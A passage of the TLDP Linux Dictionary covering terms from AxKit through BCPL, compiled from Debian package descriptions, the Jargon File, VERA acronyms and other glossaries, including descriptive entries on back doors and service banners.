An XML Delivery Toolkit for Apache AxKit is an XML Application Server for Apache. It provides on-the-fly conversion from XML to any format, such as HTML, WAP or text using either W3C standard techniques, or flexible custom code. AxKit also uses a built-in Perl interpreter to provide some amazingly powerful techniques for XML transformation. The emphasis with AxKit is on separation of content from presentation. The pipelining technique that AxKit uses allows content to be converted to a presentable format in stages, allowing certain platforms to see data differently to others. AxKit allows web designers to focus on web site design, content developers to work on a purely content basis, and webmasters to focus on their core competencies. AxKit is based on plugin components. This allows the web site developer to create a completely custom XML Application Server based around the AxKit API. AxKit can either automatically provide caching facilities, or you can create your own cache handler, so that XML transformations (which can be time consuming) only happen when required. The toolkit also provides ability to build component based web sites, and dynamic content. Database integration is fully supported, allowing either deliver of XML from a database, or XML generation from a database query. Dynamic web components can be built using the Perl language, making the possibilities as infinite as CGI scripts, without the potential mess that CGI programming can cause. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

axyftp-gtk

A graphical ftp program with GTK interface AxY FTP is a ftp program with a nice, wsfcp like interface. Current major features are: user-friendly, intuitive interface, passive data transfers, convenient session manager window, on-line help system, recursive downloads with resume option, recursive uploads, multiple delete You need Netscape or Lynx and the axyftp-doc package to use the help system. With other browsers, just read /usr/doc/axyftp-doc/html/index.html The GTK version of axyftp is Debian's preferred version of axyftp, but there is also the axyftp-lesstif package, which is the same program using the lesstif widget set. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

axyftp-lesstif

A graphical ftp program with Lesstif interface axyftp is a ftp program with a nice, wsfcp like interface. Current major features are: user-friendly, intuitive interface, passive data transfers, convenient session manager window, on-line help system, recursive downloads with resume option, recursive uploads, multiple delete You need Netscape or Lynx and the axyftp-doc package to use the help system. With other browsers, just read /usr/doc/axyftp-doc/html/index.html From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ayuda

Help for spanish-speakers This package contains a help program called 'ayuda' useful for users that speak spanish, and are new to the world of Debian GNU/Linux. The help provided covers many topics from administration to daily use. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

B

B8ZS

Binary 8 Zero Suppression [encoding] (ISDN, T1) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

babygimp

An icon editor in Perl-Tk Babygimp is an icon editor in Perl-Tk. It can edit and save files in .xpm format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

back door

A hole in the security of a system deliberately left in place by designers or maintainers. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

back door

n. [common] A hole in the security of a system deliberately left in place by designers or maintainers. The motivation for such holes is not always sinister; some operating systems, for example, come out of the box with privileged accounts intended for use by field service technicians or the vendor's maintenance programmers. Syn. trap door; may also be called a `wormhole'. See also iron box, cracker, worm, logic bomb. Historically, back doors have often lurked in systems longer than anyone expected or planned, and a few have become widely known. Ken Thompson's 1983 Turing Award lecture to the ACM admitted the existence of a back door in early Unix versions that may have qualified as the most fiendishly clever security hack of all time. In this scheme, the C compiler contained code that would recognize when the `login' command was being recompiled and insert some code recognizing a password chosen by Thompson, giving him entry to the system whether or not an account had been created for him. Normally such a back door could be removed by removing it from the source code for the compiler and recompiling the compiler. But to recompile the compiler, you have to use the compiler -- so Thompson also arranged that the compiler would recognize when it was compiling a version of itself, and insert into the recompiled compiler the code to insert into the recompiled `login' the code to allow Thompson entry -- and, of course, the code to recognize itself and do the whole thing again the next time around! And having done this once, he was then able to recompile the compiler from the original sources; the hack perpetuated itself invisibly, leaving the back door in place and active but with no trace in the sources. The talk that suggested this truly moby hack was published as "Reflections on Trusting Trust", "Communications of the ACM 27", 8 (August 1984), pp. 761-763 (text available at <http://www.acm.org/classics>). Ken Thompson has since confirmed that this hack was implemented and that the Trojan Horse code did appear in the login binary of a Unix Support group machine. Ken says the crocked compiler was never distributed. Your editor has heard two separate reports that suggest that the crocked login did make it out of Bell Labs, notably to BBN, and that it enabled at least one late-night login across the network by someone using the login name `kt'. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

back up

to make a copy of important data onto a different storage medium. Backing up to tape is essential system maintenance. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Backbone

A high-speed line or series of connections that forms a major pathway within a network. The term is relative as a backbone in a small network will likely be much smaller than many non-backbone lines in a large network. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Background

In computers that can do more than one task at a time, the environment in which tasks (such as printing a document or downloading a file) are carried out while the user works with an applicatino in the foreground. In computers that lack multitasking capabilities, background tasks are carried out

during brief pauses in the execution of the system's primary (foreground) tasks. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

background

n.,adj.,vt. [common] To do a task 'in background' is to do it whenever foreground matters are not claiming your undivided attention, and 'to background' something means to relegate it to a lower priority. "For now, we'll just print a list of nodes and links; I'm working on the graph-printing problem in background." Note that this implies ongoing activity but at a reduced level or in spare time, in contrast to mainstream 'back burner' (which connotes benign neglect until some future resumption of activity). Some people prefer to use the term for processing that they have queued up for their unconscious minds (a tack that one can often fruitfully take upon encountering an obstacle in creative work). Compare amp off, slopsucker. Technically, a task running in background is detached from the terminal where it was started (and often running at a lower priority); oppose foreground. Nowadays this term is primarily associated with Unix, but it appears to have been first used in this sense on OS/360. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

background

Processing that a system performs without requiring interaction with the user. In Linux, append an ampersand (&) to the command line to request background processing. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

background process

A process that runs without interacting with a terminal. Because each user in a Linux system is allowed to have a number of background processes running simultaneously, Linux is called a multitasking system. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Background Process

A program that is running without user input. A number of background processes can be running on a multitasking operating system, such as UNIX/Linux, while the user is interacting with the foreground process (for example, data entry). Some background processes daemons, for example never require user input. Others are merely in the background temporarily while the user is busy with the program presently running in the foreground. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

backreference

n. 1. In a regular expression or pattern match, the text which was matched within grouping parentheses 2. The part of the pattern which refers back to the matched text. 3. By extension, anything which refers back to something which has been seen or discussed before. "When you said 'she' just now, who were you backreferencing?" From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

backslash

A character (\) that is used in shell statements to quote another character (that is, to remove its special meaning to the shell). For example, if you want to use a dollar sign as a dollar sign, rather than as a symbol for end of line, enter \\$. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

backup

A copy of a file (or a group of files) that is stored off-line in the event that a computer system fails, losing or damaging the original file or files. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

backup

To periodically archive data on a system to mitigate risk of permanent data loss in the event of system or component malfunction or destruction. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

backward combatability

Linux Dictionary

/bak'w*rd k*m-bat'*-bil'*-tee/ n. [CMU, Tektronix: from `backward compatibility'] A property of hardware or software revisions in which previous protocols, formats, layouts, etc. are irrevocably discarded in favor of `new and improved' protocols, formats, and layouts, leaving the previous ones not merely deprecated but actively defeated. (Too often, the old and new versions cannot definitively be distinguished, such that lingering instances of the previous ones yield crashes or other infelicitous effects, as opposed to a simple "version mismatch" message.) A backwards compatible change, on the other hand, allows old versions to coexist without crashes or error messages, but too many major changes incorporating elaborate backwards compatibility processing can lead to extreme software bloat. See also flag day. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

backwards compatible

The quality of software to be able to work properly with older versions of the software that may be installed on a machine or communicating with another machine with a lower version of the software.

From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BACP

Bandwidth Allocation Control Protocol (BAP, RFC 2125) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAD

Broken As Designed (slang) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bad Penguin Linux

An Italian distribution, currently at version 0.99.5. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

badblocks

search a device for bad blocks From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BADW

Bayerische Akademie Der Wissenschaften (org.) From VERA

BAI

Basic Access Interface (ISDN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

balsa

GNOME email client Balsa is a e-mail reader. This client is part of the GNOME desktop environment. It supports local mailboxes, POP3 and IMAP. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BALUN

BALanced-UNbalanced [adapter] (cable), "Balun" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAM

Bidirectional Associative Memory (neural nets) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAM

Block-Availability-Map From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAM

Bundesanstalt fuer Materialpruefung (org., Berlin, Germany) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bambi Linux

A Red Hat based wireless distribution. A 'wireless' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bandwidth

How much stuff you can send through a connection. Usually measured in bits-per-second. A full page of English text is about 16,000 bits. A fast modem can move about 57,000 bits in one second. Full-motion full-screen video would require roughly 10,000,000 bits-per-second, depending on compression. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bang

1. n. Common spoken name for ! (ASCII 0100001), especially when used in pronouncing a bang path in spoken hackish. In elder days this was considered a CMUish usage, with MIT and Stanford hackers preferring excl or shriek; but the spread of Unix has carried `bang' with it (esp. via the term bang path) and it is now certainly the most common spoken name for !. Note that it is used exclusively for non-emphatic written !; one would not say "Congratulations bang" (except possibly for humorous purposes), but if one wanted to specify the exact characters `foo!' one would speak "Eff oh oh bang". See shriek, ASCII. 2. interj. An exclamation signifying roughly "I have achieved enlightenment!", or "The dynamite has cleared out my brain!" Often used to acknowledge that one has perpetrated a thinko immediately after one has been called on it. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bang

Denoted by the ! character. The C shell command !!, which repeats the last command, for example, is pronounced "Bang!Bang!". From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bang path

A series of names that specifies a path between two nodes. It is sometimes used for email or BITNET as well as in the Linux uucp program. The path consists of machine or domain names separated by ! (bang). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bang path

n. [now historical] An old-style UUCP electronic-mail address specifying hops to get from some assumed-reachable location to the addressee, so called because each hop is signified by a bang sign. Thus, for example, the path ...!bigsite!foovax!barbox!me directs people to route their mail to machine bigsite (presumably a well-known location accessible to everybody) and from there through the machine foovax to the account of user me on barbox. In the bad old days of not so long ago, before autorouting mailers became commonplace, people often published compound bang addresses using the { } convention (see glob) to give paths from several big machines, in the hopes that one's correspondent might be able to get mail to one of them reliably (example: ...!{seismo, ut-sally, ihnp4}!rice!beta!gamma!me). Bang paths of 8 to 10 hops were not uncommon in 1981. Late-night dial-up UUCP links would cause week-long transmission times. Bang paths were often selected by both transmission time and reliability, as messages would often get lost. See Internet address, the network, and sitename. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

banner

Many text-based protocols will issue text banners when you connect to the service. These can usually be used to fingerprint the os or service. Key point: Many banners reveal the exact version of the product. Over time, exploits are found for specific versions of products. Therefore, the intruder can simply lookup the version numbers in a list to find which exploit will work on the system. In the examples below, the version numbers that reveal the service has known exploitable weaknesses are highlighted. Example: The example below is a RedHat Linux box with most the default service enabled. The examples below show only the text-based services that show banners upon connection (in some cases, a little bit of input was provided in order to trigger the banners). Note that this is an older version of Linux; exploits exist for most these services that would allow a hacker to break into this box (most are buffer-overflow exploits). Best practices: It is often recommend (and required in

some government areas) to display a banner warning off unauthorized users. It makes the legal case stronger if you can show that the attacker saw a banner that indicated that they were unauthorized. Best practices: All version information should be suppressed in the banners. See the product documentation for more information on this. An example on Solaris is to edit the configuration file /etc/default/telnetd and added the line: BANNER="" This will remove the Solaris login banner, making it more difficult for an intruder to determine the type of operating system. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

banner page

A way to separate printing jobs which often indicates the owner of the file that has been printed. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BanShee Linux/R

BanShee Linux/R is a two-floppy rescue system using uClibc and Busybox to make sure that the system is as small as possible. Initial version 0.5 was released September 18, 2002. Version 0.61 was released October 27, 2002. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAP

[PPP] Bandwidth Allocation Protocol (PPP, RFC 2125, BACP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAPC

[PPP] Bandwidth Allocation Control Protocol (PPP, BAP, RFC 2125) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAPCO

Business Application Performance COrporation (org., Compaq, Dell, HP, IBM, MS, Lotus, Intel, ...), "BAPCo" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAPI

Business Application Programmer's Interface (SAP, R/3, API) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAPT

BundesAmt fuer Post und Telefon (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bar

/bar/ n. 1. [very common] The second metasyntactic variable, after foo and before baz. "Suppose we have two functions: FOO and BAR. FOO calls BAR...." 2. Often appended to foo to produce foobar. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAR

Base Address Register (IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

barcode

Creates barcodes in .ps format GNU barcode can create printouts for the conventional product packaging standards: UPC-A, UPC-E, EAN-13, EAN-8, ISBN, code 39 code 128 (b and c), and interleaved 2 of 5 . Output is generated as either Postscript or Encapsulated Postscript. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

barrendero

Deletes messages on the spool dir depending on their age. Barrendero is intended to limit the disk space wasted at the spool directory. It deletes mail messages depending on their age, and has the ability to send warnings and reports to the users, to make full and partial backups, and to have different allowed ages on a per-user basis. Warning and report messages are customizable and can be translated easily in order to make this package useful in any environment. This way of handling mail as an advantage over the traditional 'quota' system: quotas make the end user lose NEW mail, barrendero deletes OLD mail, so the new mail is always available. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BARNET

Bay Area Regional Research NETwork (network), "BARRNet" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BART

Basic Application RunTime (OS/2, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BARWAN

Bay Area Research Wireless Access Network (network, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAS

Basic Activity Subset From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

basename

Parse pathname components From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

basename

strip directory and suffix from filenames From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

basename

the name of a file minus any extension that may be included in the full name. For example, if the full name of the source file for a C program is combine.c, its basename is combine. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bash

Bash is a GNU project sh-compatible shell or command language interpreter. Bash (Bourne Again shell) incorporates useful features from the Korn shell (ksh) and the C shell (csh). Most sh scripts can be run by bash without modification. Bash offers several improvements over sh, including command line editing, unlimited size command history, job control, shell functions and aliases, indexed arrays of unlimited size and integer arithmetic in any base from two to 64. Bash is ultimately intended to conform to the IEEE POSIX P1003.2/ISO 9945.2 Shell andTools standard. Bash is the default shell for Mandrake Linux. You should install bash because of its popularity and power. You'll probably end up using it. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BASH

Bourne-Again SHell (Unix, Shell) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bash

Descended from the Bourne Shell, Bash is a GNU product, the "Bourne Again SHell." It's the standard command line interface on most Linux machines. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BASH

The Bourne Again Shell and is based on the Bourne shell, sh, the original command interpreter.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bash

The default command interpreter, or shell, for Red Hat Linux. bash features several enhancements to sh, such as built-in file management commands and support for completion of commands and paths using the the [Tab] key. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bash

The GNU Bourne Again SHell Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). Bash is ultimately intended to be a conformant implementation of the IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bash (Bourne Again SHell)

An enhanced version of the Bourne Shell. (Also, see Korn Shell.) From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bashbug

report a bug in bash From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BASIC

/bay'-sic/ n. A programming language, originally designed for Dartmouth's experimental timesharing system in the early 1960s, which for many years was the leading cause of brain damage in proto-hackers. Edsger W. Dijkstra observed in "Selected Writings on Computing: A Personal Perspective" that "It is practically impossible to teach good programming style to students that have had prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration." This is another case (like Pascal) of the cascading lossage that happens when a language deliberately designed as an educational toy gets taken too seriously. A novice can write short BASIC programs (on the order of 10–20 lines) very easily; writing anything longer (a) is very painful, and (b) encourages bad habits that will make it harder to use more powerful languages well. This wouldn't be so bad if historical accidents hadn't made BASIC so common on low-end micros in the 1980s. As it is, it probably ruined tens of thousands of potential wizards. [1995: Some languages called `BASIC' aren't quite this nasty any more, having acquired Pascal- and C-like procedures and control structures and shed their line numbers. --ESR] Note: the name is commonly parsed as Beginner's All-purpose Symbolic Instruction Code, but this is a backronym. BASIC was originally named Basic, simply because it was a simple and basic programming language. Because most programming language names were in fact acronyms, BASIC was often capitalized just out of habit or to be silly. No acronym for BASIC originally existed or was intended (as one can verify by reading texts through the early 1970s). Later, around the mid-1970s, people began to make up backronyms for BASIC because they weren't sure. Beginner's All-purpose Symbolic Instruction Code is the one that caught on. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BASIC

Beginner's All-purpose Symbolic Instruction Code From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BASIC

Beginners All purpose Symbolic Instruction Code: a non-structured language that is often considered the easiest to start programming. It was developed as an interactive, mainframe timesharing language that received fame with home computers in the 1980s. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Basic Input Output System (BIOS)

A set of instructions stored on a ROM CHIP that handles input-output functions and system component management (such as power configuration and interrupt request settings). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BasicLinux

BasicLinux is a mini-version of Linux that boots from hard drive, floppy, or CDROM, and runs in a 4meg ramdisk. It's based on Slackware 3.5 and contains a fully-featured shell, an easy-to-use editor, and a variety of useful utilities. It can dial an ISP, browse the web, send/receive mail, or act as a router/firewall. Version 1.7 was released May 12, 2002. Version 2.0 was released February 22, 2003, now based on Slackware 7.1. A small disk distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

basilix

A PHP (both PHP3 and PHP4) and IMAP based webmail application powered with MySQL database server. It has a nice user-friendly interface and its HTML files are easy to be changed/edited. 0.7.6 includes WAP-Support. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BASIN

Bundesweites Alternatives Studentisches InformationsNetzwerk (WWW, org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bastille

Security hardening tool Bastille Linux is a security hardening program for several Linux distributions. If run in the preferred Interactive mode, it can teach you a good deal about Security while personalizing your system security state. If run in the quicker Automated mode, it can quickly tighten your machine, once a default profile is selected. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAT

Baby Advanced Technology [board] (AT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

batch

adj. 1. Non-interactive. Hackers use this somewhat more loosely than the traditional technical definitions justify; in particular, switches on a normally interactive program that prepare it to receive non-interactive command input are often referred to as `batch mode' switches. A `batch file' is a series of instructions written to be handed to an interactive program running in batch mode. 2. Performance of dreary tasks all at one sitting. "I finally sat down in batch mode and wrote out checks for all those bills; I guess they'll turn the electricity back on next week..." 3. `batching up': Accumulation of a number of small tasks that can be lumped together for greater efficiency. "I'm batching up those letters to send sometime" "I'm batching up bottles to take to the recycling center." From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

batch

queue, examine or delete jobs for later execution From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

battleball

a soccer game played with tanks or helicopters BattleBall is essentially the game of soccer, played with military vehicles rather than with people. Each player drives a tank or flies a helicopter, and tries to move the ball down the playfield to the other team's goal. Relatively unlimited number of human or computer players can compete in teams or head-to-head. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

battstat-applet

Battery status applet for GNOME Battstat is a battery status applet that monitors the battery charge level on a laptop. It displays different icons depending on the state of the power subsystem, and will warn if the power drops below a user configurable level. It uses the standard GNOME event system to play user configurable samples at certain events. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Baud

In common usage the baud rate of a modem is how many bitsit can send or receive per second. Technically, baud is the number of times per second that the carrier signal shifts value – for example a 1200 bit-per-second modem actually runs at 300 baud, but it moves 4 bits per baud (4 x 300= 1200 bits per second). From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

baud

measures of the rate at which signals are transmitted over a telecommunications link. It is equivalent to the number of elements or pulses transmitted in one second. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BAYSIS

BAY networks' Switched Internetworking Services, "BaySIS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bb

An ASCII-art demo BB is a high quality audio-visual demonstration for your text terminal. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BB

BridgeBoard (Amiga, Commodore) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBC

Broadband Bearer Capability (B-ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbdate

Date tool for the blackbox window manager bbdate is a simple blackbox tool for displaying the date in your blackbox slit. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbdb

The Insidious Big Brother Database (email rolodex) for Emacs BBDB is a rolodex-like database program for GNU Emacs. BBDB stands for Insidious Big Brother Database, and is not, repeat, *not* an obscure reference to the Buck Rogers TV series. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBIAB

[I'll] Be Back In A Bit (DFUe, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBAgent

BBAgent provides a suite of applications to create the software for booting a computer as a broadband router and firewall. Based on the hardware configurations and connection type, you are able to download your own boot file which is written into a single 1.44MB diskette to be a boot diskette for the router. This is a Linux based system which uses Java tools to create a bootable floppy with router software. The software utilities provided by BBAgent.Net are free to use. Version 1.5.0 was released July 11, 2002. Version 1.8.1 was released May 16, 2003. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBIAM

Be Back In A Minute (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbkeys

application to handle key bindings in Blackbox In the Blackbox window manager version 0.60 and higher, a separate application is needed to handle key bindings. This is such a program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBL

Be Back Later (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bblaunch

launch windows with manipulated attribs under blackbox A program which allows the user to control the launching of applications under the Blackbox window manager. The user can launch applications with or without decorations, shaded, on a specific workspace or maximized horizontally or vertically. Requires that you be running the Blackbox window manager or a derivative. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBLCD Toolkit

BBLCD is the acronym for Bernhard's Bootable Linux CD or Build your own Bootable Linux CD. BBLCD is a toolkit for building your own bootable Linux CD from your favorite (and possibly customized) distribution. It uses, more or less, an intelligent `cp -a / /dev/cdrom` to create a CDROM from an existing system. Version 0.7.7 was released April 9, 2003. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbmail

Mail Utility for X This is a small mail utility for use with the Blackbox window manager. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBN

Bolt, Beranek and Newman (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBNS

BroadBand Network Services From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbpager

Pager for the Blackbox window manager A pager tool for the Blackbox window manager. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbpal

displays an image, and changes it every few seconds (from the README) If you've ever used the GNOME applet "fish," or Wanda, then this is an app very similar. In fact, that's where I got the idea for bbpal (since you need GNOME to use Wanda). When you run bbpal, it displays an image, and changes it every few seconds. Exciting, eh? It's fond of using up CPU cycles, and making your friends wonder what the heck it's used for. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbppp

PPP tool for the blackbox window manager bbppp is a blackbox tool to control and manage your PPP link. It can start up /shut down your ppp connection (by running pon/poff), and displays rx and tx via a modem-lights style PPP load, and also the PPP link uptime. Note that you don't actually need blackbox for this program to work, but it won't look as good in any other window manager. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBR

Back Bone Ring From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBS

Bulletin Board System (DFUe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBS (Bulletin Board Service)

A forum for users to browse and exchange information. Computer BBSs are accessible by telephone via a personal computer and a modem. Many BBSs are small operations run by a single person that allow only several users to log on at the same time. Some are much larger and allow hundreds of users to login simultaneously to use the system. Huge, commercial examples are America Online, CompuServe, and Prodigy. For example, please visit <http://www.tcworld.com/wwwboard/wwwboard.html> From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBS (Bulletin Board System)

A computerized meeting and announcement system that allows people to carry on discussions, upload and download files, and make announcements without the people being connected to the computer at the same time. In the early 1990's there were many thousands (millions?) of BBS's around the world, most are very small, running on a single IBM clone PC with 1 or 2 phone lines. Some are very large and the line between a BBS and a system like AOL gets crossed at some point, but it is not clearly drawn. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BBS (Bulletin Board System)

Electronic BBSs formed much of the the core "cyberspace" in the 1980s. Telecommunication costs were high, so rather than interconnected via "always-on" connections, such systems transferred files and messages as irregular intervals over dial-up lines. Mail was transported through BBS via protocols like FidoNet and UUCP. Files would move themselves from system to system as users would download from one BBS and upload to others. Many of today's older hackers were active in the BBS community of the 1980s. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbsload

Linux Dictionary

System load tool for the blackbox window manager bbsload is a blackbox tool to display your system load. It can show simple system bar graphs, including load averages for 1, 5 and 15 minute periods, memory usage, swap usage, total system usage, as well as CPU loads for user, nice and system processes and idle time. Note that you don't actually need blackbox for this program to work, but it won't look as good in any other window manager. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bbtime

Time tool for the blackbox window manager bbtime is a blackbox tool to display the system time in your blackbox slit. It can also display other times as an offset of your local time in a menu. Note that you don't actually need blackbox for this program to work, but it won't look as good in any other window manager. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bc

The GNU bc arbitrary precision calculator language GNU bc is an interactive algebraic language with arbitrary precision which follows the POSIX 1003.2 draft standard, with several extensions including multi-character variable names, an 'else' statement and full Boolean expressions. GNU bc does not require the separate GNU dc program. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BCPL

// n. [abbreviation, `Basic Combined Programming Language') A programming language developed by Martin Richards in Cambridge in 1967. It is remarkable for its rich syntax, small size of compiler (it can be run in 16k) and extreme portability. It reached break-even point at a very early stage, and was the language in which the original hello world program was written. It has been ported to so many different systems that its creator confesses to having lost count. It has only one data type (a machine word) which can be used as an integer, a character, a floating point number, a pointer, or almost anything else, depending on context. BCPL was a precursor of C, which inherited some of its features. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beancounter

